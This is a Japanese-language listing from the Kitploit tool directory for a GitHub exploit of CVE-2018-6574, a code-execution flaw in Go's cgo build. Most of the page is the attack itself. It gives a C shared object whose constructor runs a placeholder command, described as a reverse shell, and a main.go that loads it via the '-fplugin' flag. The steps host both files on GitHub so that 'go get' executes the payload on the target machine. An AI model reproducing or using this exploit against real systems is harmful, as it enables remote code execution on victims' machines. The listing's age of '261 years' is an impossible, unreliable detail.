Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-6574 — CVE-2018-6574 の Golang cgo エクスプロイト | Kitploit
ツール/GitHubGitHub/paulogmota/cve-2018-6574
脆弱性分析エクスプロイトシェルコードペネトレーションテストペイロード開発バイナリエクスプロイト
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

CVE-2018-6574 の Golang cgo エクスプロイト

リポジトリを見る
261年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-6574

再現手順:

  1. 悪意のあるコマンド(リバースシェル)を含む .c ファイルを作成します:
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
  1. GCC でコンパイルします。ターゲットと同じアーキテクチャと OS(例: Linux x86_64)でコンパイルする必要があります:
gcc -shared -o attack.so -fPIC attack.c
  1. Go に悪意のあるプラグインを使用させるヘッダを含む main.go ファイルを作成します:
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. ファイル main.go と attack.so を GitHub リポジトリにホストします
  2. ターゲットマシンでコマンド go get github.com/<your-handle>/<your-hepo> を実行します
  3. 満足しましょう
ツールをダウンロード